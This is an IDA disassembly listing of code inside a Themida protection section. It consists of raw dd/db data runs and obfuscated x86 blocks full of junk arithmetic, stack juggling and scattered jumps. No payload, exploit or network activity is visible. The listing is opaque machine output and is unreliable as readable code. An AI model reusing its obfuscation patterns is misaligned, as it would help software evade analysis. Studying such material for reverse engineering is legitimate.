6F4C3C05h, 25BD5501h, 0E97D3800h, 0FFFF903Dh dd 59CB005Bh, 0FFC0B60Fh, 0CCE98734h, 83FFFFF7h, 0E95704C4h dd 0FFFF6E65h db 8Bh, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54A222 ; --------------------------------------------------------------------------- db 0B8h, 0Fh, 29h dd 0E8C123FEh, 57B30503h, 17E96075h, 5AFFFFF3h, 2C181h dd 0FF510000h, 8B042474h, 0C483240Ch, 24048F04h, 6624248Bh dd 2404B30Fh, 5D6EE99Ch, 8059FFFFh, 0D700D5C7h, 0E9D5EF80h dd 0FFFFEC96h ; --------------------------------------------------------------------------- loc_54B618: ; CODE XREF: Themida_:00545168j add esi, ebx push dword ptr [esp] pop ebx add esp, 4 push ebx mov ebx, 5A8D6AD5h jmp loc_549BB4 ; --------------------------------------------------------------------------- db 5Ah dd 0FFBBE0E9h, 0CE959FFh, 59FFFFA4h, 5C243487h, 4C181h dd 0BB530000h, 10CC565Ah, 81DBF74Bh, 33A9A3F3h, 5BD901EFh dd 0FFCB7AE9h, 24348BFFh, 56E38953h, 0C57E9h db 0 ; --------------------------------------------------------------------------- loc_54B669: ; CODE XREF: Themida_:00544851j add esi, 916AEDACh sub ecx, esi pop esi jmp loc_549C2B ; --------------------------------------------------------------------------- db 1 dd 0FF525BDAh, 8B042474h, 0C4812414h, 4, 0FF68D0E9h, 240489FFh dd 0B868E089h, 8900007Ah, 0A8BD242Ch, 0E916FF75h, 0FFFFD02Fh dd 2BDh, 5DEE8900h, 348BF729h, 8D66E924h, 0E8C1FFFFh, 0E9C83108h dd 0FFFFBAB9h ; --------------------------------------------------------------------------- loc_54B6C0: ; CODE XREF: Themida_:00545D94j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push 1E0Eh mov [esp], ebx jmp loc_54C022 ; --------------------------------------------------------------------------- dw 0D101h dd 29A1E981h, 73E92EE1h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B6E3: ; CODE XREF: Themida_:00545203j push ecx jmp loc_545508 ; --------------------------------------------------------------------------- db 1, 0DFh, 0E9h dd 0FFFFBC4Bh, 0E9241487h, 0FFFF87C9h, 81C8B70Fh, 4ECh dd 240C8900h, 794768h, 0A05FE900h, 0E781FFFFh, 0E8D3E83h dd 35BCF781h, 0E7814153h, 35083629h, 7E93B850h, 95357AD0h dd 0C1399428h, 722503E8h, 0D408172h, 0D033224h, 436D8035h dd 58C7316Ch, 49C8F781h, 0ED816048h, 31243911h, 5BE9FD01h dd 56FFFFCAh, 834E8668h, 7AE95E56h, 0C000001Fh, 2AE903EEh db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B767: ; CODE XREF: Themida_:00547EEBj push edx push ebp jmp loc_548327 ; --------------------------------------------------------------------------- dw 3C89h dd 53E78924h, 4BBh, 5BDF0100h, 460368h, 242C8900h, 4BDh dd 0D4D3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B78E: ; CODE XREF: Themida_:00549D66j dec esi xor esi, 0EB79DF3Fh add eax, esi pop esi sub eax, 4 jmp loc_549706 ; --------------------------------------------------------------------------- dw 0B652h dd 2EC81E9h, 66000000h, 0B7241C89h, 66FE206Ah, 0E9241C8Bh dd 0FFFFACD0h, 5F37E981h, 19E994D8h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B7C7: ; CODE XREF: Themida_:0054B2CCj xor ebx, ecx pop ecx jmp loc_544326 ; --------------------------------------------------------------------------- db 0BAh dd 700163h, 2E9D131h, 52FFFF7Fh, 8318ABBAh, 81D2F758h dd 630ED0E2h, 0F7DAF776h, 54F281DAh, 0E9266006h, 0FFFF9B09h ; --------------------------------------------------------------------------- loc_54B7F8: ; CODE XREF: Themida_:00545F02j not eax shr eax, 1 inc eax sub eax, 68D32FBCh add eax, 4DD39D13h push eax xor dword ptr [esp], 3E55725Fh pop esi xor esi, 3E55725Fh pop eax jmp loc_54689D ; --------------------------------------------------------------------------- dd 44AA05ADh, 3B687BC5h, 89000011h, 6852243Ch, 7075683Eh dd 7E2C15Ah, 0B833EA81h, 8953E1DEh, 4EC81D3h, 89000000h dd 0DE892434h, 5B5EF789h, 0E924148Bh, 0FFFF7F72h ; --------------------------------------------------------------------------- loc_54B854: ; CODE XREF: Themida_:00542D03j add ebx, 4 jmp loc_54A504 ; --------------------------------------------------------------------------- dd 8124048Fh, 42404h, 815D0000h, 4C5h, 0B5E95000h, 800001Bh dd 0E9805AF1h, 9FF6E91Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B87E: ; CODE XREF: Themida_:00544ACEj push ebx mov ebx, 56982E28h and ebx, 678328D4h sub ebx, 1A32336Fh inc ebx sub ebx, 164779C1h xor ebx, 1390284Fh sub ecx, ebx mov ebx, [esp] add esp, 4 push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 sub ebx, 4 xor ebx, [esp] jmp loc_54904B ; --------------------------------------------------------------------------- loc_54B8C7: ; CODE XREF: Themida_:005458B1j add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] loc_54B8D6: ; CODE XREF: Themida_:0054390Dj push ebp mov ebp, ebx sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], edx mov edx, 54CF294Eh jmp loc_54D691 ; --------------------------------------------------------------------------- db 88h, 0E5h, 58h dd 0E976B252h, 1EF7h, 33595125h, 12D25h, 0BA520000h, 1 dd 525AD001h, 311151BAh, 0FFD02900h, 835A2434h, 3EE904C4h dd 81FFFFBFh, 4ECh, 240C8900h, 8D181AB9h, 8BCE0106h, 0C481240Ch dd 4, 2C68159h, 87000000h, 5E92434h, 8BFFFFE0h, 0EC832424h dd 3C0E904h, 148B0000h, 4C48124h, 68000000h, 38BBh, 0BE243489h dd 64C74314h, 3EFE9h, 240C8B00h, 0FF04C483h, 348B2434h dd 0E6895624h, 4C681h, 0C6810000h, 4, 31243433h, 34332434h dd 0E56E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B99E: ; CODE XREF: Themida_:0054B3C3j xor edx, 5AA52EDFh shr edx, 4 shr edx, 1 sub edx, 9FD437Dh push eax mov eax, 0F84A371Ah sub edx, eax pop eax add eax, edx jmp loc_542BC0 ; --------------------------------------------------------------------------- db 81h dd 0A172A2C6h, 0CE295A74h, 83240C8Bh, 5CE904C4h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B9D3: ; CODE XREF: Themida_:00548474j mov [esp], edi mov edi, 502B7793h mov ecx, edi pop edi dec ecx shr ecx, 6 shr ecx, 1 push eax jmp loc_541E75 ; --------------------------------------------------------------------------- loc_54B9EA: ; CODE XREF: Themida_:005434C6j shr esi, 4 jmp loc_542C77 ; --------------------------------------------------------------------------- loc_54B9F2: ; CODE XREF: Themida_:00547722j and edx, 4D46772Bh jmp loc_54699F ; --------------------------------------------------------------------------- db 81h, 0E9h, 72h dd 8B23A745h, 4EE9242Ch, 8BFFFF5Fh, 57E9240Ch, 8FFFFF87h dd 1BE92404h, 66FFFFE5h, 55240C8Bh, 8904EC83h, 53552424h dd 0BC702A68h, 0E3815B46h, 73D846CFh, 0FFB6B7E9h, 5DE901FFh dd 3611BE56h, 0F6812EE0h, 2EE03613h, 348BF101h, 4C48324h dd 8B240C87h, 8B662424h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_546187 ; --------------------------------------------------------------------------- dw 11E9h dd 33FFFF59h, 248B241Ch, 0FD685524h, 8B25CF25h, 50E9242Ch dd 81FFFFA8h, 0AE1BE4EEh, 0FF565B3Ch, 0E9042474h, 471h dd 57E9D830h, 29FFFFB9h, 0F13BE9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BA9A: ; CODE XREF: Themida_:00547E53j push 429Eh mov [esp], ecx push esi pop ecx pop esi xchg edi, esi not edi xchg edi, esi xor ecx, esi xor esi, ecx xor ecx, esi add ecx, 5D34D50Fh and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jnz loc_54353E push edi push 57BC5B31h pop edi push ebp mov ebp, 537C7D7Fh add edi, ebp pop ebp sub esp, 4 mov [esp], ecx push 3FBCh mov [esp], eax mov eax, 59166A30h mov ecx, eax pop eax push edx mov edx, 133EE254h add ecx, edx pop edx and edi, ecx jmp loc_542C99 ; --------------------------------------------------------------------------- db 55h, 0E9h, 10h dd 0FF000008h, 148B2434h, 0C1F2E924h, 0EA01FFFFh, 83C2295Dh dd 2C8904ECh, 6C5E924h, 51660000h, 662414F6h, 83240C8Bh dd 0FAE902C4h, 89FFFFADh, 0A1BD242Ch, 535CDE5Ah, 0DE1AC7BBh dd 0D3F74B59h, 21A8BD55h, 0ED815415h, 5CD47A84h, 0C104E5C1h dd 814D06E5h, 0CC7A05C5h, 98ED8163h, 1AFAC94h, 0DD315DEBh dd 0E9241C8Bh, 0FFFFE760h ; --------------------------------------------------------------------------- loc_54BB6C: ; CODE XREF: Themida_:005496F8j add esp, 4 pop dword ptr [esp] mov esp, [esp] idiv ecx push 2DEFh mov [esp], edx push eax pushf jmp loc_541378 ; --------------------------------------------------------------------------- loc_54BB86: ; CODE XREF: Themida_:00546200j pop eax jmp loc_548486 ; --------------------------------------------------------------------------- dd 0C8B60F66h, 172EE9h, 7F83AD00h, 840F0020h, 0FFFFDCFFh dd 236DBA52h, 814A3837h, 0F31BCAF2h, 0F7D2F73Fh, 0F6C6E9DAh dd 1433FFFFh, 24248B24h, 0F66F9F6h, 0EC83CCB6h, 240C8904h dd 0FF5B93E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BBCD: ; CODE XREF: Themida_:00541A91j push 6A4Bh mov [esp], ebx mov eax, [esp] push eax mov eax, esp jmp loc_54D912 ; --------------------------------------------------------------------------- dd 0E932C680h, 0FFFF7C9Bh, 4C781h, 0BE560000h, 4, 27E9F701h dd 83FFFF5Fh, 0C8904ECh, 741FE924h, 0F581FFFFh, 3A598961h dd 9FE9E831h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BC13: ; CODE XREF: Themida_:005414ABj pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5456EC ; --------------------------------------------------------------------------- dd 0FFC0B60Fh, 41E98734h, 5FFFF57h, 4, 405h, 24048700h dd 0C61255Ch, 0B8E90BBCh, 89FFFFC5h, 19E9243Ch, 88FFFFA0h dd 24148BF3h, 0E9E68956h, 0FFFFCCA9h, 56242C8Bh, 0FFA4A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BC6D: ; CODE XREF: Themida_:0054CFC2j sub edi, eax jmp loc_5433AB ; --------------------------------------------------------------------------- dd 42474FFh, 8324048Bh, 1C8904ECh, 0DDF9E924h, 48FFFFFh dd 8B665C24h, 89502404h, 405E0h, 0EC810000h, 4, 83241489h dd 48904ECh, 4348B824h, 0CDE96A9Fh db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BCAF: ; CODE XREF: Themida_:0054674Ej pop ebp shr eax, 12h xor eax, ecx sub esp, 4 mov [esp], esi mov esi, esp jmp loc_543E8B ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 33000000h, 0AFE9240Ch, 81FFFF63h, 0DA56B3C2h, 0EA815E79h dd 434B4193h, 0C281F201h, 434B4193h, 39ACEA81h, 15E27C4h dd 8EB4E9D5h, 2C89FFFFh, 9E95424h, 87000003h, 895C241Ch dd 34FF2404h, 24148B24h, 8104C483h, 4C4h, 94EEE900h, 489FFFFh dd 808E924h, 3C8B0000h, 4C48324h, 57C868h, 24348900h, 1921E9h db 0 ; --------------------------------------------------------------------------- loc_54BD35: ; CODE XREF: Themida_:005495BEj mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push eax mov eax, esp push esi jmp loc_54BEDD ; --------------------------------------------------------------------------- dd 89FD8955h, 15F5DE8h, 87BAE9C7h, 0E956FFFFh, 0FFFF6A0Eh dd 11B6EB81h, 0F3297A14h, 421E9h, 0C4835800h, 1685B04h dd 89000039h, 78BE2434h, 507C973Ch, 75B2BA52h, 0FB84A03h dd 11716E4h, 8CE95AD0h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD97: ; CODE XREF: Themida_:005466C6j pop esp loc_54BD98: ; CODE XREF: Themida_:00548418j push 6565h mov [esp], edi mov edi, 0 push edi pop dword ptr [edx+30h] mov edi, [esp] push ebx push 4D55h mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop ebx push esi mov esi, 149B3C4Ch or esi, 7AD64F7Bh jmp loc_549273 ; --------------------------------------------------------------------------- dw 8B66h dd 5455240Ch, 0FFF388E9h, 15E950FFh, 66000017h, 5024048Bh dd 2ECE954h, 68660000h, 89663610h, 9CE9240Ch, 4FFFFDCh dd 2CE80084h, 0EA16E984h, 0C186FFFFh, 887BE980h, 0F7B559C8h dd 2858C528h, 0B6525AD5h, 7EEC07Ah, 806EF680h, 0DEF6D1C6h dd 20B6F680h, 0DDF65AF5h, 0D4F6E586h, 0F580E586h, 8BE8302Bh dd 8956240Ch, 4C681E6h, 83000000h, 0FF5604C6h, 0E9042474h dd 0D75h, 21E95756h, 0FE000008h, 0E9E9D0C1h, 1017h, 8E4340BAh dd 0D4E28139h, 0E907522Ch, 0FFFF9413h, 0E9243C87h, 1974h dd 515DE809h, 718E9h, 0DFE9AC00h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BE87: ; CODE XREF: Themida_:00541A72j push ebx mov bl, 6Dh push edx jmp loc_544A34 ; --------------------------------------------------------------------------- dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 248B2434h, 241C8924h dd 413EB068h, 5871E939h, 0C181FFFFh, 2366292Eh, 4A59CA01h dd 0FF6DECE9h, 394068FFh, 0D1E90000h, 51000001h, 73E9E189h dd 80000003h, 0F82CD5C1h, 0FF5FADE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BEDD: ; CODE XREF: Themida_:0054BD4Bj mov esi, 56AC6173h sub esi, 6C296523h or esi, 76F937E4h not esi jmp loc_54A26E ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0FFDBBFE9h, 48F5EFFh, 0E9F75C24h, 2A2068h, 0EF2EE900h dd 3C89FFFFh, 4BF24h, 0FA010000h, 2414875Fh, 8B24248Bh dd 89512404h, 0EABE56E1h, 0E9561832h, 0FFFFDCAAh ; --------------------------------------------------------------------------- loc_54BF30: ; CODE XREF: Themida_:0054A3FAj xchg edi, [esp] pop esp mov [esp], ebp jmp loc_54245F ; --------------------------------------------------------------------------- dd 0C281EA29h, 42E5AF6h, 542EE95Dh, 1C33FFFFh, 0F2EBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BF52: ; CODE XREF: Themida_:0054D354j pop esp push ebx mov ebx, 49B9655Bh jmp loc_54974E ; --------------------------------------------------------------------------- loc_54BF5E: ; CODE XREF: Themida_:00545C1Dj mov edx, [esp] add esp, 4 jmp loc_54B1F3 ; --------------------------------------------------------------------------- dd 3DE9C681h, 0C6813278h, 0A6161154h, 835EF029h, 3C8904ECh dd 0EA9BF24h, 0F7815E8Fh, 55E92212h, 0FFA173E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BF91: ; CODE XREF: Themida_:0054CD25j not dword ptr [esp] pop edx push eax push 4556h mov [esp], edx push 3D5F3282h pop edx jmp loc_5456BE ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8F000000h, 0E95C2404h, 0FFFFE812h ; --------------------------------------------------------------------------- loc_54BFB8: ; CODE XREF: Themida_:0054A595j push eax mov eax, esp push esi push eax jmp loc_549D4F ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0C194E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BFCE: ; CODE XREF: Themida_:00544828j mov ebp, 324A31CCh and esi, ebp pop ebp shr esi, 1 push eax mov eax, 18251004h xor esi, eax pop eax and ecx, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 push edx jmp loc_54C328 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4BE5600h, 0E9000000h, 0FFFFE5B8h, 4EC815Dh, 89000000h dd 0E957240Ch, 0FFFFC635h ; --------------------------------------------------------------------------- loc_54C018: ; CODE XREF: Themida_:005455E3j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 0D227E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C022: ; CODE XREF: Themida_:0054B6D1j push esi mov esi, 2000h push ecx jmp loc_54CB70 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 4EC81h, 34890000h, 81E68924h, 4C6h, 4C68300h dd 0FFB17AE9h, 3998BFFFh, 0FB010FDEh, 65B8505Fh, 0F705C426h dd 0D7DCE9D8h, 0C186FFFFh, 14DCE9h, 4C08300h, 5C240487h dd 0FF6DFBE9h, 53C681FFh, 29211613h, 24348BF7h, 4C481h dd 0F8890000h, 0D0F7405Fh, 0BFB73548h, 0C301EC1Dh, 0E9038858h dd 0FFFF88CFh, 0E9240489h, 0FFFFF28Eh ; --------------------------------------------------------------------------- loc_54C0A4: ; CODE XREF: Themida_:0054D7E7j mov ebp, [esp] add esp, 4 mov eax, [esp] add esp, 4 jmp loc_54777C ; --------------------------------------------------------------------------- db 68h, 0F6h, 1 dd 0D5E92EA7h, 5BFFFFE3h, 34FFD328h, 8924E924h, 0EC83FFFFh dd 240C8904h, 0EE0036B5h, 0DD6AE959h, 48BFFFFh, 4C48324h dd 0FF9DD6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C0E5: ; CODE XREF: Themida_:005440DEj push ebx mov ebx, 768A7F93h shl ebx, 3 dec ebx and ebx, 7DB72CACh push edi jmp loc_543EF9 ; --------------------------------------------------------------------------- db 9 dd 241C8BDEh, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FFC460E9h db 0FFh ; --------------------------------------------------------------------------- locret_54C115: ; CODE XREF: Themida_:0054A1DEj retn ; --------------------------------------------------------------------------- dw 5DE9h dd 52FFFF52h, 5B09E954h, 0C281FFFFh, 7B5847D3h, 7FE4E959h dd 67BDFFFFh, 81572E34h, 2E3463EDh, 5DEF8957h, 875FFA01h dd 595C2414h, 0FF522FE9h, 66E800FFh, 24596859h, 14890000h dd 66A3B224h, 96B753h, 805B66FAh, 0F280FFEAh, 0BC0E941h dd 15B0000h, 0E95552F0h, 0FFFFA003h, 0FA3FED81h, 0EF89A7F4h dd 44C7815Dh, 0E94F8B64h, 0FFFF60D6h, 24048B66h, 8D91E952h dd 0C381FFFFh, 7A1411B6h, 8324348Bh, 0EB8104C4h, 20BC3243h dd 0C381C301h, 20BC3243h, 4EC81h, 0C890000h, 28F86824h dd 0C8B5371h, 4C48324h, 0FFE301E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C1C5: ; CODE XREF: Themida_:0054842Ej push ebp mov ebp, 4 jmp loc_54A3E4 ; --------------------------------------------------------------------------- dd 54240C89h, 0FF857FE9h, 0FFCD01FFh, 0A9E92434h, 0BDFFFFDAh dd 427A3879h, 4EC81h, 1C890000h, 755CBB24h, 0CBE929EFh dd 81FFFFAAh, 7C423FF2h, 49C2817Dh, 8169C526h, 32DEC3C2h dd 0E9D18908h, 0FFFFCEA0h ; --------------------------------------------------------------------------- loc_54C214: ; CODE XREF: Themida_:0054D8F0j add eax, 4 sub eax, 4 jmp loc_54C9DB ; --------------------------------------------------------------------------- loc_54C223: ; CODE XREF: Themida_:00548CD5j pop edx mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_546E7F ; --------------------------------------------------------------------------- db 2Ch dd 2434FF23h, 0AC95E95Ah, 0C181FFFFh, 4, 8704E983h, 0B3E9240Ch dd 58FFFF63h, 4EC81h, 0C890000h, 506E6824h, 0F8680000h dd 89000025h, 0ACE92424h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C273: ; CODE XREF: Themida_:00544AE6j shr ebp, 5 add ebp, 0FFFFFFFFh push edx mov edx, 13A80519h sub edx, 229B6EF8h push ecx mov ecx, 75FD66B8h neg ecx shl ecx, 4 shl ecx, 5 and ecx, 6DF56CD8h and ecx, 55633361h sub ecx, 1494258Bh sub edx, ecx pop ecx xor ebp, edx pop edx mov esi, ebp mov ebp, [esp] add esp, 4 and eax, esi mov esi, [esp] jmp loc_5449C4 ; --------------------------------------------------------------------------- dd 4BEh, 5EF30100h, 0FF6C69E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C2CD: ; CODE XREF: Themida_:00545E8Dj mov ebx, esp jmp loc_541E7F ; --------------------------------------------------------------------------- dd 958C589h, 0E9425DEAh, 0FFFFABDEh, 0C8BC889h, 4C48124h dd 81000000h, 0E66B8AEEh, 81C60119h, 0E66B8AC6h, 5CE9E919h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C2FE: ; CODE XREF: Themida_:0054296Aj mov eax, 61B61E3Eh add eax, 4CB772DFh inc eax add eax, 6BBB65F7h jmp loc_54CD8D ; --------------------------------------------------------------------------- db 68h dd 4, 0CC7E9h, 2434FF00h, 0E92434FFh, 0FFFF9CCCh ; --------------------------------------------------------------------------- loc_54C328: ; CODE XREF: Themida_:0054BFF0j mov edx, 51C84A48h push 2B3Eh mov [esp], ecx mov ecx, 158F7D96h add edx, ecx pop ecx or edx, 15B3412Ch or edx, 16CA07A2h neg edx push edi mov edi, 77FFC802h jmp loc_546F43 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0FF8AB2E9h, 493668FFh, 0EC810000h, 4, 0E9242489h dd 0FFFF6D85h, 0E924148Bh, 761h, 0E95FFA89h, 0FFFFB22Eh dd 0E9028864h, 0FFFF4FECh ; --------------------------------------------------------------------------- loc_54C38C: ; CODE XREF: Themida_:00545551j mov edx, 6D140DA8h add edx, 488224F3h dec edx or edx, 2B163E8Bh inc edx xor edx, 0B43BD97Fh xor ebp, edx pop edx add eax, ebp pop ebp add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_54A586 ; --------------------------------------------------------------------------- db 0F7h dd 77BE56D2h, 0E979BB6Fh, 0FFFFAA8Dh ; --------------------------------------------------------------------------- loc_54C3CC: ; CODE XREF: Themida_:0054C4F5j pop esp mov [esp], dx push ax pushf jmp loc_5419D8 ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 6624248Bh, 0E9C8BE0Fh, 0FFFF9AE5h, 5C243487h, 0FF9B68E9h dd 88FC34FFh, 3CE958C1h, 89000012h, 9361E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C402: ; CODE XREF: Themida_:00544AF2j add [esp+2], ax add word ptr [esp+2], 6E7Eh add word ptr [esp+2], 7452h mov ax, [esp] add esp, 2 jmp loc_541378 ; --------------------------------------------------------------------------- aYh db 'Yh°',27h,0 dw 8900h dd 0E950241Ch, 0FFFF6590h, 1015E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C436: ; CODE XREF: Themida_:005471D9j push esi jmp loc_5414AA ; --------------------------------------------------------------------------- dword_54C43C dd 0FF4F37E9h, 0EC8151FFh, 4, 50241489h, 0E17953B8h, 0E503E954h dd 0D5F7FFFFh, 6705ED81h, 0EDC16DD5h, 2FF58107h, 1011F6Fh dd 0C6815DEEh, 2, 2474FF56h, 24348B04h, 4C481h, 48F0000h dd 6A5CE924h, 0DFF7FFFFh, 97B6E951h, 8956FFFFh, 0E8A0E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C496: ; CODE XREF: Themida_:005467B2j xor edi, 724BF2D9h jmp loc_541C06 ; --------------------------------------------------------------------------- db 1, 0F3h, 0E9h dd 0FFFF5DFAh, 0E953E689h, 0FFFF6AADh, 2404A30Fh, 8F17E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C4BA: ; CODE XREF: Themida_:0054826Aj add edi, 519035D3h xor edi, 93BA5825h add eax, 707E1508h jmp loc_547067 ; --------------------------------------------------------------------------- dd 52595451h, 0E0196EBAh, 42D2F72Eh, 79E3E281h, 4AE900D4h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C4E7: ; CODE XREF: Themida_:0054266Dj sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_54C3CC ; --------------------------------------------------------------------------- loc_54C4FA: ; CODE XREF: Themida_:00549268j sub edi, ecx pop ecx sub ecx, 5F411811h jmp loc_54827F ; --------------------------------------------------------------------------- dd 0A3E9515Bh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C50F: ; CODE XREF: Themida_:00544B23j mov ebp, 529F3DB3h sub ebp, 68812850h jmp loc_5487C2 ; --------------------------------------------------------------------------- db 81h dd 0C08910E9h, 6B22E9F1h, 0E954FFFFh, 0FFFFB71Ah, 41E9028Fh db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C537: ; CODE XREF: Themida_:005419D3j sub dword ptr [esp+4], 58C87A26h push dword ptr [esp] pop eax push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 add ecx, 16D83912h push ebx push edi jmp loc_54D087 ; --------------------------------------------------------------------------- loc_54C570: ; CODE XREF: Themida_:0054AD6Aj pop ebx sub esp, 4 mov [esp], ebx jmp loc_542007 ; --------------------------------------------------------------------------- loc_54C57C: ; CODE XREF: Themida_:0054921Cj xor dh, 73h push ebx jmp loc_54A243 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 8124248Bh, 4ECh, 24148900h, 0FF7764E9h, 0C6A0B9FFh dd 0C829A722h, 55FBE959h, 8B66FFFFh, 0E068240Ch, 89000018h dd 0EC81243Ch, 4, 0FFB54AE9h, 2BEFFh, 0DFE90000h, 81000003h dd 4C3h, 4EB8100h, 87000000h, 0A6E9241Ch, 0E9FFFFC9h, 0FFFF4D98h dd 0E9E7EA80h, 0FFFFF022h, 7EBE56ADh, 0F7325236h, 26F681D6h dd 1BF09C3h, 0D8015EF0h, 0FFD10DE9h, 40B353FFh, 0FF5C8BE9h dd 245401FFh, 2434FF04h, 0E689565Ah, 4C681h, 0C6810000h dd 4, 5C243487h, 0C2242C81h, 50057866h, 0FF4F9CE9h, 19E95FFFh dd 68FFFFD5h, 6E3Fh, 57242C89h, 3266B9BFh, 5FFD8919h, 994BC581h dd 0BA52E6CDh, 130E71D0h, 5EBF281h, 0C6E9291Ch, 89FFFFE4h dd 4C281E2h, 81000000h, 4C2h, 24148700h, 0E924248Bh, 0FFFFE988h dd 5D1BAFBFh, 29F78114h, 503B3068h, 911424B8h, 14F7505Eh dd 0E8C15824h, 67970508h, 0C7011F09h, 0E924048Bh, 0B3Bh dd 4031EF81h, 815E1781h, 2C7h, 243C8700h, 6624248Bh, 55240C8Bh dd 8904EC83h, 4832424h, 815D0424h, 4C5h, 2BA5200h, 56000000h dd 0F95ECDBEh, 0E9F5016Ah, 0FFFFEF81h, 0D86C35BAh, 5AD6896Bh dd 6C37F681h, 3C2D6BD8h, 2907C625h, 253C05F0h, 335E07C6h dd 4312404h, 24043324h, 0E924248Bh, 0FFFF79DBh, 0E681D6F7h dd 138D743Eh, 2FDEE81h, 0C681462Eh, 17DF39E6h, 54DDC681h dd 0EA811CC1h, 132F0552h, 0E951F201h, 0FFFF91C0h, 42474FFh dd 24048F5Eh, 0D224248Bh, 0E99C242Ch, 0FFFF76BDh, 4C18159h dd 68000000h, 2B38h, 0BD242C89h, 3BD41E6Dh, 633AC581h dd 0C5811182h, 0B2A97E5Dh, 0FFBC5DE9h, 4C481FFh, 81000000h dd 814031C7h, 0E9F70117h, 0FFFFFF24h ; --------------------------------------------------------------------------- loc_54C77C: ; CODE XREF: Themida_:00543454j xor ebx, 0FE394EAh or edx, ebx jmp loc_547EDB ; --------------------------------------------------------------------------- db 0BAh, 8Ch, 8 dd 0D32912D1h, 0E9DA295Ah, 0FFFFC138h, 59CD2958h, 7BD1C181h dd 0E9014CA1h, 7BD1E981h, 2C8B4CA1h, 4C48124h, 0E9000000h dd 0FFFF97F2h, 0F480D4F6h, 80D4F620h, 0E38896F4h, 0FF61AEE9h dd 405FFh, 0E9560000h, 0FFFF636Fh, 4C481h, 0C1810000h dd 4, 0E904EC83h, 0FFFF7649h, 0D7F670B7h, 0E953F780h, 0FFFFA726h dd 4C4815Ch, 68000000h, 60BCh, 52242C89h, 8D6FC0BAh, 0E9D58905h dd 0FFFFAF3Ch, 7D8A68h, 24348900h, 99240481h, 8B41C028h dd 54512404h, 0F3E95659h, 1FFFF64h, 0B8505FFEh, 3664BC8h dd 362DD8F7h, 29FC99B4h, 6FFE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C842: ; CODE XREF: Themida_:005471C2j xchg ebp, [esp] jmp loc_544248 ; --------------------------------------------------------------------------- dw 0CA01h dd 898CE959h, 8B66FFFFh, 5452240Ch, 4C2815Ah, 53000000h dd 10E9E389h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C867: ; CODE XREF: Themida_:00549966j xchg ebp, [esp] pop esp not edx add edx, 0FFFD5BE2h sub edi, 44392FF0h add edi, edx push ebx mov ebx, 644052BEh jmp loc_543A47 ; --------------------------------------------------------------------------- loc_54C886: ; CODE XREF: Themida_:005487BDj or eax, eax jz loc_54353E push dword ptr [edi+28h] sub dword ptr [esp], 12C83A7Ch jmp loc_54D6F4 ; --------------------------------------------------------------------------- 